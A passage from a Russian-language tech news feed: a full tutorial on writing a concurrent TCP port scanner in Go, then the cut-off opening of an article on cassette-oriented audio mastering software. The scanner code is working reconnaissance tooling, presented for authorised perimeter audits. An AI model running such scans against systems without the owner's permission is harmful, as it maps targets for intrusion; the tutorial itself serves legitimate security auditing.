      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;p&gt;Недавно знакомый попросил помочь с небольшой задачей по проверке внешнего периметра сети компании. Сразу уточню: речь шла об инфраструктуре, на проверку которой было разрешение.&lt;p&gt;Под внешним периметром обычно понимают всё, что доступно из интернета: публичные IP-адреса, домены, поддомены, облачные или VPS-серверы, а также сервисы, которые слушают внешние порты.&lt;p&gt;Задача была простой по формулировке, но интересной технически: нужно понять, какие адреса доступны извне и к каким портам можно подключиться.&lt;h2&gt;Что мы будем делать&lt;/h2&gt;&lt;p&gt;В данной статье я покажу, как сделать простой TCP port scanner на Go.&lt;p&gt;Он будет уметь:&lt;ul&gt;&lt;li&gt;&lt;p&gt;Читать IP-адреса и домены из файла&lt;li&gt;&lt;p&gt;Проверять диапазон портов&lt;li&gt;&lt;p&gt;Определять открытые порты и добавлять к ним условную оценку риска&lt;li&gt;&lt;p&gt;Сразу реализуем ограничение параллельности через семафор, чтобы обработка портов была быстрее&lt;/ul&gt;&lt;h2&gt;Структура проекта и сам код&lt;/h2&gt;&lt;p&gt;Проект небольшой, поэтому структура получилась простой. Я разделил код на несколько пакетов, чтобы каждая часть отвечала за свою задачу.&lt;pre&gt;&lt;code class=bash&gt;cmd/&#xA;  bin/&#xA;    main.go&#xA;&#xA;internal/&#xA;  input/&#xA;    input.go&#xA;  report/&#xA;    csv.go&#xA;  resolver/&#xA;    resolver.go&#xA;  scanner/&#xA;    scanner.go&#xA;  services/&#xA;    services.go&#xA;&#xA;perimeter.txt&#xA;go.mod&#xA;go.sum&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:87px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Коротко пройдёмся по пакетам внутри internal и разберём, за что отвечает каждый из них. &lt;code&gt;Input&lt;/code&gt; - отвечает за чтения файла и возвращения массива &lt;code&gt;string&lt;/code&gt; с нашими портами:&lt;pre&gt;&lt;code class=go&gt;func ReadTargets(path string) ([]string, error) {&#xA;&#x9;file, err := os.Open(path)&#xA;&#x9;if err != nil {&#xA;&#x9;&#x9;return nil, err&#xA;&#x9;}&#xA;&#x9;defer file.Close()&#xA;&#xA;&#x9;return ParseTargets(file)&#xA;}&#xA;&#xA;func ParseTargets(reader io.Reader) ([]string, error) {&#xA;&#x9;targets := make([]string, 0)&#xA;&#xA;&#x9;scanner := bufio.NewScanner(reader)&#xA;&#xA;&#x9;for scanner.Scan() {&#xA;&#x9;&#x9;text := strings.TrimSpace(scanner.Text())&#xA;&#x9;&#x9;if text == &amp;#34;&amp;#34; || strings.HasPrefix(text, &amp;#34;#&amp;#34;) {&#xA;&#x9;&#x9;&#x9;continue&#xA;&#x9;&#x9;}&#xA;&#x9;&#x9;targets = append(targets, text)&#xA;&#x9;}&#xA;&#xA;&#x9;if err := scanner.Err(); err != nil {&#xA;&#x9;&#x9;return nil, err&#xA;&#x9;}&#xA;&#xA;&#x9;return targets, nil&#xA;}&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Здесь всё просто: открываем файл, читаем его построчно через &lt;code&gt;bufio.Scanner&lt;/code&gt;, пропускаем пустые строки и комментарии, а остальные значения возвращаем как список целей.&lt;p&gt;Services - данный пакет отвечает за справочную информацию о сервисах по номеру порта:&lt;pre&gt;&lt;code class=go&gt;package services&#xA;&#xA;type Info struct {&#xA;&#x9;Name string&#xA;&#x9;Risk string&#xA;}&#xA;&#xA;func Lookup(port int) Info {&#xA;&#x9;switch port {&#xA;&#x9;case 22:&#xA;&#x9;&#x9;return Info{Name: &amp;#34;SSH&amp;#34;, Risk: &amp;#34;High&amp;#34;}&#xA;&#x9;case 80:&#xA;&#x9;&#x9;return Info{Name: &amp;#34;HTTP&amp;#34;, Risk: &amp;#34;Medium&amp;#34;}&#xA;&#x9;case 443:&#xA;&#x9;&#x9;return Info{Name: &amp;#34;HTTPS&amp;#34;, Risk: &amp;#34;Low&amp;#34;}&#xA;&#x9;case 3306:&#xA;&#x9;&#x9;return Info{Name: &amp;#34;MySQL&amp;#34;, Risk: &amp;#34;High&amp;#34;}&#xA;&#x9;case 3389:&#xA;&#x9;&#x9;return Info{Name: &amp;#34;RDP&amp;#34;, Risk: &amp;#34;High&amp;#34;}&#xA;&#x9;case 5432:&#xA;&#x9;&#x9;return Info{Name: &amp;#34;PostgreSQL&amp;#34;, Risk: &amp;#34;High&amp;#34;}&#xA;&#x9;case 6379:&#xA;&#x9;&#x9;return Info{Name: &amp;#34;Redis&amp;#34;, Risk: &amp;#34;High&amp;#34;}&#xA;&#x9;default:&#xA;&#x9;&#x9;return Info{Name: &amp;#34;Unknown&amp;#34;, Risk: &amp;#34;Unknown&amp;#34;}&#xA;&#x9;}&#xA;}&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;Lookup&lt;/code&gt; не делает fingerprint сервиса. Он просто подсказывает наиболее вероятный сервис по номеру порта.&lt;p&gt;Структура &lt;code&gt;Info&lt;/code&gt; - хранит в себе &lt;code&gt;Name&lt;/code&gt; - это названия сервиса, например SSH или HTTP. А &lt;code&gt;Risk&lt;/code&gt; - это условный уровень риска (Low, Medium, High, Unknown).&lt;p&gt;Функция &lt;code&gt;Lookup&lt;/code&gt; - получает порт смотрит к какому сервису он относиться и возвращает нам нашу структуру. Тоже довольно просто.&lt;p&gt;Далее нам в пакете &lt;code&gt;Scanner&lt;/code&gt; - надо описать структуру &lt;code&gt;Result&lt;/code&gt; в которой как у нас будет вся нужная нам информация:&lt;pre&gt;&lt;code class=go&gt;package scanner&#xA;&#xA;type Result struct {&#xA;&#x9;Target       string&#xA;&#x9;IP           string&#xA;&#x9;Port         int&#xA;&#x9;Protocol     string&#xA;&#x9;ServiceGuess string&#xA;&#x9;Status       string&#xA;&#x9;Risk         string&#xA;&#x9;Error        string&#xA;}&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Данная структура просто формат ответа: какой домен/IP проверяли, какой порт, открыт он или закрыт, какой сервис, какой риск, была ли ошибка.&lt;p&gt;Далее по списку нужно сделать функцию которая будем превращать домены в IP адреса и это функция будет лежать у нас в пакете &lt;code&gt;resolver&lt;/code&gt;:&lt;pre&gt;&lt;code class=go&gt;package resolver&#xA;&#xA;import &amp;#34;net&amp;#34;&#xA;&#xA;func ResolveTarget(target string) ([]string, error) {&#xA;&#x9;parsedIP := net.ParseIP(target)&#xA;&#x9;if parsedIP != nil {&#xA;&#x9;&#x9;if parsedIP.To4() == nil {&#xA;&#x9;&#x9;&#x9;return nil, nil&#xA;&#x9;&#x9;}&#xA;&#x9;&#x9;return []string{parsedIP.String()}, nil&#xA;&#x9;}&#xA;&#xA;&#x9;ips, err := net.LookupIP(target)&#xA;&#x9;if err != nil {&#xA;&#x9;&#x9;return nil, err&#xA;&#x9;}&#xA;&#xA;&#x9;targets := make([]string, 0)&#xA;&#x9;for _, ip := range ips {&#xA;&#x9;&#x9;if ip.To4() != nil {&#xA;&#x9;&#x9;&#x9;targets = append(targets, ip.String())&#xA;&#x9;&#x9;}&#xA;&#x9;}&#xA;&#xA;&#x9;return targets, nil&#xA;}&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Что здесь происходит, наша функция &lt;code&gt;ResolveTarget&lt;/code&gt; принимает наши &amp;#34;Цели&amp;#34; - и смотрит является ли они IP адресами, если нет преобразует в IP адрес и возвращает.&lt;p&gt;&lt;code&gt;ResolveTarget&lt;/code&gt; принимает строку из файла. Если это уже IPv4-адрес, функция сразу возвращает его. Если это домен, она делает DNS-lookup через &lt;code&gt;net.LookupIP &lt;/code&gt;и возвращает найденные IPv4-адреса.&lt;p&gt;Теперь вернемся к нашему пакет Scanner - тут мы должны описать функцию ScanPort, сначала покажу а потом объясню:&lt;pre&gt;&lt;code class=go&gt;func ScanPort(target string, ip string, port int, timeout time.Duration) Result {&#xA;&#x9;info := services.Lookup(port)&#xA;&#xA;&#x9;result := Result{&#xA;&#x9;&#x9;Target:       target,&#xA;&#x9;&#x9;IP:           ip,&#xA;&#x9;&#x9;Port:         port,&#xA;&#x9;&#x9;Protocol:     &amp;#34;tcp&amp;#34;,&#xA;&#x9;&#x9;ServiceGuess: info.Name,&#xA;&#x9;&#x9;Risk:         info.Risk,&#xA;&#x9;}&#xA;&#xA;&#x9;address := net.JoinHostPort(ip, strconv.Itoa(port))&#xA;&#xA;&#x9;conn, err := net.DialTimeout(&amp;#34;tcp&amp;#34;, address, timeout)&#xA;&#x9;if err != nil {&#xA;&#x9;&#x9;if netErr, ok := err.(net.Error); ok &amp;amp;&amp;amp; netErr.Timeout() {&#xA;&#x9;&#x9;&#x9;result.Status = &amp;#34;filtered&amp;#34;&#xA;&#x9;&#x9;&#x9;result.Error = netErr.Error()&#xA;&#x9;&#x9;&#x9;return result&#xA;&#x9;&#x9;}&#xA;&#xA;&#x9;&#x9;result.Status = &amp;#34;closed&amp;#34;&#xA;&#x9;&#x9;result.Error = err.Error()&#xA;&#x9;&#x9;return result&#xA;&#x9;}&#xA;&#xA;&#x9;conn.Close()&#xA;&#x9;result.Status = &amp;#34;open&amp;#34;&#xA;&#x9;return result&#xA;}&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Функция выглядит по сложней чем другие, но уверяю вас тут все легко.&lt;p&gt;ScanPort получает цель, IP, порт и timeout. Сначала мы получаем информацию о предполагаемом сервисе через services.Lookup. Затем собираем адрес через net.JoinHostPort — это безопаснее, чем склеивать ip + &amp;#34;:&amp;#34; + port вручную.&lt;p&gt;После этого вызываем &lt;code&gt;net.DialTimeout&lt;/code&gt;. Если соединение удалось, считаем порт открытым. Если произошла ошибка, считаем порт закрытым. Если ошибка связана с timeout, помечаем статус как filtered.&lt;p&gt;Статус filtered здесь условный: я использую его для случаев, когда соединение не было явно отклонено, а завершилось по timeout.&lt;p&gt;Ну и если ошибки не было просто говорим что статус = открыто и возвращаем на результат.&lt;p&gt;Последний технический кусок — пакет report. Он отвечает за сохранение результатов в CSV-файл.&lt;pre&gt;&lt;code class=go&gt;package report&#xA;&#xA;import (&#xA;&#x9;&amp;#34;encoding/csv&amp;#34;&#xA;&#x9;&amp;#34;io&amp;#34;&#xA;&#x9;&amp;#34;os&amp;#34;&#xA;&#x9;&amp;#34;perimeter-audit/internal/scanner&amp;#34;&#xA;&#x9;&amp;#34;strconv&amp;#34;&#xA;)&#xA;&#xA;func WriteCSV(results []scanner.Result, path string) error {&#xA;&#x9;file, err := os.Create(path)&#xA;&#x9;if err != nil {&#xA;&#x9;&#x9;return err&#xA;&#x9;}&#xA;&#x9;defer file.Close()&#xA;&#xA;&#x9;return WriteCSVWriter(file, results)&#xA;}&#xA;&#xA;func WriteCSVWriter(writer io.Writer, results []scanner.Result) error {&#xA;&#x9;csvWriter := csv.NewWriter(writer)&#xA;&#xA;&#x9;err := csvWriter.Write([]string{&amp;#34;target&amp;#34;, &amp;#34;ip&amp;#34;, &amp;#34;port&amp;#34;, &amp;#34;protocol&amp;#34;, &amp;#34;service_guess&amp;#34;, &amp;#34;status&amp;#34;, &amp;#34;risk&amp;#34;, &amp;#34;error&amp;#34;})&#xA;&#x9;if err != nil {&#xA;&#x9;&#x9;return err&#xA;&#x9;}&#xA;&#xA;&#x9;for _, result := range results {&#xA;&#x9;&#x9;if err := csvWriter.Write([]string{result.Target, result.IP, strconv.Itoa(result.Port), result.Protocol, result.ServiceGuess, result.Status, result.Risk, result.Error}); err != nil {&#xA;&#x9;&#x9;&#x9;return err&#xA;&#x9;&#x9;}&#xA;&#x9;}&#xA;&#xA;&#x9;csvWriter.Flush()&#xA;&#xA;&#x9;if err := csvWriter.Error(); err != nil {&#xA;&#x9;&#x9;return err&#xA;&#x9;}&#xA;&#xA;&#x9;return nil&#xA;}&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Тут у нас report сохраняет результаты сканирования в CSV-файл: создает файл, записывает заголовки колонок и добавляет по строке на каждый результат.&lt;p&gt;Теперь осталось связать все части в main.go: прочитать путь к файлу через флаг -input, загрузить цели, просканировать их и сохранить результат в CSV.&lt;pre&gt;&lt;code class=go&gt;package main&#xA;&#xA;var defaultPorts = []int{21, 22, 23, 25, 53, 80, 110, 143, 443, 445, 1433, 3306, 3389, 5432, 5900, 6379, 8080, 8443, 9200, 27017}&#xA;&#xA;func main() {&#xA;&#x9;inputFlag := flag.String(&amp;#34;input&amp;#34;, &amp;#34;&amp;#34;, &amp;#34;path to targets file&amp;#34;)&#xA;&#x9;outputFlag := flag.String(&amp;#34;output&amp;#34;, &amp;#34;report.csv&amp;#34;, &amp;#34;path to CSV report&amp;#34;)&#xA;&#x9;flag.Parse()&#xA;&#xA;&#x9;if *inputFlag == &amp;#34;&amp;#34; {&#xA;&#x9;&#x9;fmt.Fprintln(os.Stderr, &amp;#34;input flag is required&amp;#34;)&#xA;&#x9;&#x9;os.Exit(1)&#xA;&#x9;}&#xA;&#xA;&#x9;targets, err := input.ReadTargets(*inputFlag)&#xA;&#x9;if err != nil {&#xA;&#x9;&#x9;fmt.Fprintf(os.Stderr, &amp;#34;Error reading targets: %v\n&amp;#34;, err)&#xA;&#x9;&#x9;os.Exit(1)&#xA;&#x9;}&#xA;&#xA;&#x9;results := scanTargets(targets, defaultPorts, 2*time.Second, 50)&#xA;&#x9;if err := report.WriteCSV(results, *outputFlag); err != nil {&#xA;&#x9;&#x9;fmt.Fprintf(os.Stderr, &amp;#34;Error writing report: %v\n&amp;#34;, err)&#xA;&#x9;&#x9;os.Exit(1)&#xA;&#x9;}&#xA;&#xA;&#x9;fmt.Printf(&amp;#34;Results written to %s\n&amp;#34;, *outputFlag)&#xA;}&#xA;&#xA;func scanTargets(targets []string, ports []int, timeout time.Duration, maxConcurrency int) []scanner.Result {&#xA;&#x9;resultCh := make(chan scanner.Result)&#xA;&#x9;var wg sync.WaitGroup&#xA;&#x9;sem := make(chan struct{}, maxConcurrency)&#xA;&#x9;results := make([]scanner.Result, 0)&#xA;&#xA;&#x9;for _, target := range targets {&#xA;&#x9;&#x9;ips, err := resolver.ResolveTarget(target)&#xA;&#x9;&#x9;if err != nil {&#xA;&#x9;&#x9;&#x9;results = append(results, scanner.Result{&#xA;&#x9;&#x9;&#x9;&#x9;Target: target,&#xA;&#x9;&#x9;&#x9;&#x9;Status: &amp;#34;error&amp;#34;,&#xA;&#x9;&#x9;&#x9;&#x9;Error:  err.Error(),&#xA;&#x9;&#x9;&#x9;})&#xA;&#x9;&#x9;&#x9;continue&#xA;&#x9;&#x9;}&#xA;&#xA;&#x9;&#x9;for _, ip := range ips {&#xA;&#x9;&#x9;&#x9;for _, port := range ports {&#xA;&#x9;&#x9;&#x9;&#x9;wg.Add(1)&#xA;&#x9;&#x9;&#x9;&#x9;go func(target string, ip string, port int) {&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;defer wg.Done()&#xA;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;sem &amp;lt;- struct{}{}&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;defer func() {&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&#x9;&amp;lt;-sem&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;}()&#xA;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;resultCh &amp;lt;- scanner.ScanPort(target, ip, port, timeout)&#xA;&#x9;&#x9;&#x9;&#x9;}(target, ip, port)&#xA;&#x9;&#x9;&#x9;}&#xA;&#x9;&#x9;}&#xA;&#x9;}&#xA;&#xA;&#x9;go func() {&#xA;&#x9;&#x9;wg.Wait()&#xA;&#x9;&#x9;close(resultCh)&#xA;&#x9;}()&#xA;&#xA;&#x9;for result := range resultCh {&#xA;&#x9;&#x9;results = append(results, result)&#xA;&#x9;}&#xA;&#xA;&#x9;sort.Slice(results, func(i int, j int) bool {&#xA;&#x9;&#x9;if results[i].Target != results[j].Target {&#xA;&#x9;&#x9;&#x9;return results[i].Target &amp;lt; results[j].Target&#xA;&#x9;&#x9;}&#xA;&#x9;&#x9;if results[i].IP != results[j].IP {&#xA;&#x9;&#x9;&#x9;return results[i].IP &amp;lt; results[j].IP&#xA;&#x9;&#x9;}&#xA;&#x9;&#x9;return results[i].Port &amp;lt; results[j].Port&#xA;&#x9;})&#xA;&#xA;&#x9;return results&#xA;}&#xA;&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;В main программа просто управляет всем процессом: берет путь к файлу с целями, читает эти цели, запускает сканирование, а потом сохраняет результат в CSV-файл.&lt;p&gt;Если по шагам, то получается так: сначала проверяем, что пользователь передал -input, потом читаем список доменов или IP из файла, дальше для каждой цели получаем IP- адреса, проверяем нужные порты и в конце записываем все найденное в отчет.&lt;p&gt;Семафор здесь нужен как ограничитель. Мы запускаем много проверок портов параллельно, но не хотим, чтобы их одновременно было слишком много. Поэтому семафором говорим: “одновременно можно выполнять максимум 50 проверок”. Когда одна проверка закончилась, она освобождает место, и запускается следующая.&lt;p&gt;Отдельно я разобрал работу семафора на схеме и пошаговом примере — ссылку оставлю в конце статьи.&lt;p&gt;По сути, семафор защищает программу от ситуации, когда она сама себя перегрузит слишком большим количеством сетевых подключений.&lt;p&gt;В итоге получился небольшой TCP-сканер, который читает список целей из файла, резолвит домены в IP-адреса, проверяет набор портов с ограничением параллельности и сохраняет результат в CSV. Проект небольшой, но на нём хорошо видно, как в Go можно работать с сетью, timeout, goroutine, WaitGroup и семафором.&lt;p&gt;Ещё раз: такой инструмент стоит использовать только для своей инфраструктуры или с разрешения владельца.&lt;p&gt;Дополнительно: схема работы семафора на примере этой программы — &lt;a href=https://t.me/walkerinit rel=&#34;noopener noreferrer nofollow&#34;&gt;https://t.me/walkerinit&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>albatomm</author>
      <guid>https://habr.com/ru/articles/1046217/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046217</guid>
      <pubDate>Wed, 10 Jun 2026 18:29:13 +0000</pubDate>
    </item>
    <item>
      <title>Автоматический DSP-премастеринг для аудиокассет на C++</title>
      <link>https://habr.com/ru/articles/1046213/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046213</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;h3&gt;От ностальгии к алгоритмам&lt;/h3&gt;&lt;p&gt;Помните мою &lt;a href=https://habr.com/ru/articles/1044738/ rel=&#34;noopener noreferrer nofollow&#34;&gt;прошлую статью&lt;/a&gt;, где мы гоняли один и тот же современный альбом на четырёх типах лент через трёхголовочную Kenwood KX-1100G? Тот эксперимент показал: аналоговый звук жив, но &lt;strong&gt;характер цифрового мастера&lt;/strong&gt; и точность калибровки деки часто влияют на результат сильнее, чем разница между Type I и Type IV.&lt;p&gt;За кадром осталась другая проблема. Современный стриминговый релиз — это −8…−10 LUFS integrated, True Peak на 0 dBFS и выше, плотный верх, широкий стереобас и brickwall-лимитирование. Записать такой файл на ленту «как есть» — получить грязный верх, нестабильный уровень, клиппинг на записи и бас, который «гуляет» между каналами из‑за crosstalk.&lt;p&gt;После десятка вечеров с ручной подгонкой gain, bias и лимитеров под каждый трек я устал повторять одну и ту же работу. Так появился &lt;strong&gt;CassetteMaster&lt;/strong&gt; — десктопное приложение на &lt;strong&gt;C++20 / JUCE 8&lt;/strong&gt;, которое автоматически готовит цифровой звук к записи на физическую кассету.&lt;p&gt;Это не «ленточный эффект с шипением» и не винтажный дисторшн. Задача программы — &lt;strong&gt;сохранить digital fidelity&lt;/strong&gt;: убрать только то, что физически конфликтует с магнитной лентой.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/09d/de4/aac/09dde4aacc50f7438540ee7949b6aefd.png width=2424 height=1920 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/09d/de4/aac/09dde4aacc50f7438540ee7949b6aefd.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/09d/de4/aac/09dde4aacc50f7438540ee7949b6aefd.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;h3&gt;В чём физический конфликт цифры и ленты&lt;/h3&gt;&lt;p&gt;Компакт-кассета работает в жёстких физических пределах ушедшей эпохи:&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;MOL/SOL&lt;/strong&gt; — ограниченный выходной уровень на высоких частотах;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Self-erasure&lt;/strong&gt; — избыточные ВЧ «стирают» соседние участки дорожки;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Crosstalk&lt;/strong&gt; ~30–40 dB между каналами;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Head gap + 4.76 cm/s&lt;/strong&gt; — естественный спад ВЧ к 14–16 kHz;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Wow/flutter, bias, azimuth&lt;/strong&gt; — механические ограничения транспорта.&lt;/ul&gt;&lt;p&gt;Современный мастеринг создаётся под стриминг и смартфоны. Магнитная лента — нет.&lt;div&gt;&lt;div class=table&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th&gt;&lt;p&gt;Параметр цифрового мастера&lt;th&gt;&lt;p&gt;Ограничение ленты (Type I / II)&lt;th&gt;&lt;p&gt;Что происходит при прямой записи&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Громкость −8…−10 LUFS&lt;td&gt;&lt;p align=left&gt;Насыщение магнитного слоя (MOL)&lt;td&gt;&lt;p align=left&gt;Глухой, грязный дисторшн&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Яркий, пережатый верх&lt;td&gt;&lt;p align=left&gt;Self-erasure&lt;td&gt;&lt;p align=left&gt;Лента «стирает» сама себя на ВЧ&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Широкий стереобас&lt;td&gt;&lt;p align=left&gt;Crosstalk&lt;td&gt;&lt;p align=left&gt;Фазовые проблемы, «гуляющий» бас&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;True Peak ≥ 0 dBFS&lt;td&gt;&lt;p align=left&gt;Ограничение по пикам&lt;td&gt;&lt;p align=left&gt;Жёсткий аналоговый клиппинг&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Наша задача:&lt;/strong&gt; не сделать lo-fi-плагин, а наоборот — сохранить цифровую точность, сняв исключительно то, что сломает запись на конкретной ленте и деке.&lt;h3&gt;Интерфейс: три шага от FLAC до WAV&lt;/h3&gt;&lt;p&gt;Workflow простой:&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Add music&lt;/strong&gt; — drag &amp;amp; drop файла или папки (WAV, FLAC, AIFF, OGG).&lt;li&gt;&lt;p&gt;&lt;strong&gt;Prepare&lt;/strong&gt; — офлайн-анализ и автоматический мастеринг в фоновом потоке.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Export&lt;/strong&gt; — 32-bit float WAV, опционально с калибровочными тонами в начале.&lt;/ol&gt;&lt;p&gt;Тип ленты (Type I / II / IV) и длина кассеты (C60/C90/C120) задаются до обработки. Дека в текущем UI зафиксирована на &lt;strong&gt;Kenwood KX-1100G&lt;/strong&gt; — той самой, с которой мы проводили эксперимент.&lt;p&gt;Кнопки &lt;strong&gt;Before / After&lt;/strong&gt; включают A/B-предпрослушивание фрагмента (~45 s). Waveform показывает LUFS, True Peak и маркеры обработки: limiter, HF reduction, de-esser, clip warning.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/e7b/fa9/8b7/e7bfa98b7b499cd5cd963f2a797532a7.png width=2424 height=1920 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/e7b/fa9/8b7/e7bfa98b7b499cd5cd963f2a797532a7.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/e7b/fa9/8b7/e7bfa98b7b499cd5cd963f2a797532a7.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;h3&gt;Архитектура: офлайн-процессор, а не realtime-эффект&lt;/h3&gt;&lt;p&gt;CassetteMaster — легковесный офлайн-процессор. Вся тяжёлая работа идёт в worker thread, UI не блокируется. Ядро — статическая библиотека &lt;code&gt;cassette_core&lt;/code&gt;, общая для GUI-приложения, опционального CassetteBurner и VST3/AU-плагина.&lt;h4&gt;Поток при нажатии Prepare&lt;/h4&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;AudioFileLoader&lt;/code&gt; загружает файл в &lt;code&gt;AudioBuffer&amp;lt;float&amp;gt;&lt;/code&gt;.&lt;li&gt;&lt;p&gt;&lt;code&gt;EssentiaAnalyzer::extractFeatures&lt;/code&gt; строит структуру &lt;code&gt;AudioFeatures&lt;/code&gt;.&lt;li&gt;&lt;p&gt;&lt;code&gt;CassetteProfile::forRecording(KenwoodKX1100G, tapeType)&lt;/code&gt; задаёт потолки LUFS/TP/HF.&lt;li&gt;&lt;p&gt;&lt;code&gt;AdaptiveMasteringProcessor::process&lt;/code&gt; вызывает планировщик, опционально ODG loop, затем &lt;code&gt;CassetteAutoMaster::processTrack&lt;/code&gt;.&lt;li&gt;&lt;p&gt;&lt;code&gt;ProcessingDiagnostics&lt;/code&gt; рисует маркеры на waveform и пишет лог.&lt;li&gt;&lt;p&gt;UI обновляет панель «After» и статус &lt;em&gt;Ready to export&lt;/em&gt;.&lt;/ol&gt;&lt;h3&gt;Шаг 1. Офлайн-анализ&lt;/h3&gt;&lt;p&gt;Когда вы перетаскиваете FLAC в окно, движок вычисляет карту параметров — не для красоты метров, а для &lt;strong&gt;принятия решений планировщиком&lt;/strong&gt;.&lt;p&gt;&lt;strong&gt;Loudness и пики:&lt;/strong&gt; integrated LUFS (EBU R128-подобный &lt;code&gt;LoudnessMeter&lt;/code&gt;), True Peak с oversampling (&lt;code&gt;TruePeakMeter&lt;/code&gt;), crest factor, loudness range.&lt;p&gt;&lt;strong&gt;Спектр:&lt;/strong&gt; доли энергии LF/MF/HF, stereo correlation, LF stereo correlation, ширина стереобазы.&lt;p&gt;&lt;strong&gt;Психоакустика&lt;/strong&gt; (&lt;code&gt;PsychoacousticMetrics&lt;/code&gt;, 24 полосы Bark):&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;roughness&lt;/strong&gt; — «грубость» верха (модуляция 20–300 Hz);&lt;li&gt;&lt;p&gt;&lt;strong&gt;sharpness&lt;/strong&gt; (DIN 45692);&lt;li&gt;&lt;p&gt;&lt;strong&gt;hfAboveMaskingDb&lt;/strong&gt; — энергия ВЧ выше порога маскирования;&lt;li&gt;&lt;p&gt;&lt;strong&gt;streamingRingingIndex&lt;/strong&gt; — «звонкость» стримингового мастера;&lt;li&gt;&lt;p&gt;&lt;strong&gt;hfTamerStrength&lt;/strong&gt; — рекомендуемая глубина HF prep (0…1).&lt;/ul&gt;&lt;p&gt;Essentia подключается опционально (&lt;code&gt;CASSETTE_BUILD_ESSENTIA&lt;/code&gt;); без неё работает встроенный fallback по BS.1770.&lt;h3&gt;Шаг 2. Умный планировщик&lt;/h3&gt;&lt;p&gt;Приложение &lt;strong&gt;не обрабатывает все треки одинаково&lt;/strong&gt;. Класс &lt;code&gt;CassetteMasteringPlanner&lt;/code&gt; — сердце автоматизации.&lt;p&gt;Сначала вычисляется &lt;strong&gt;Tape Threat 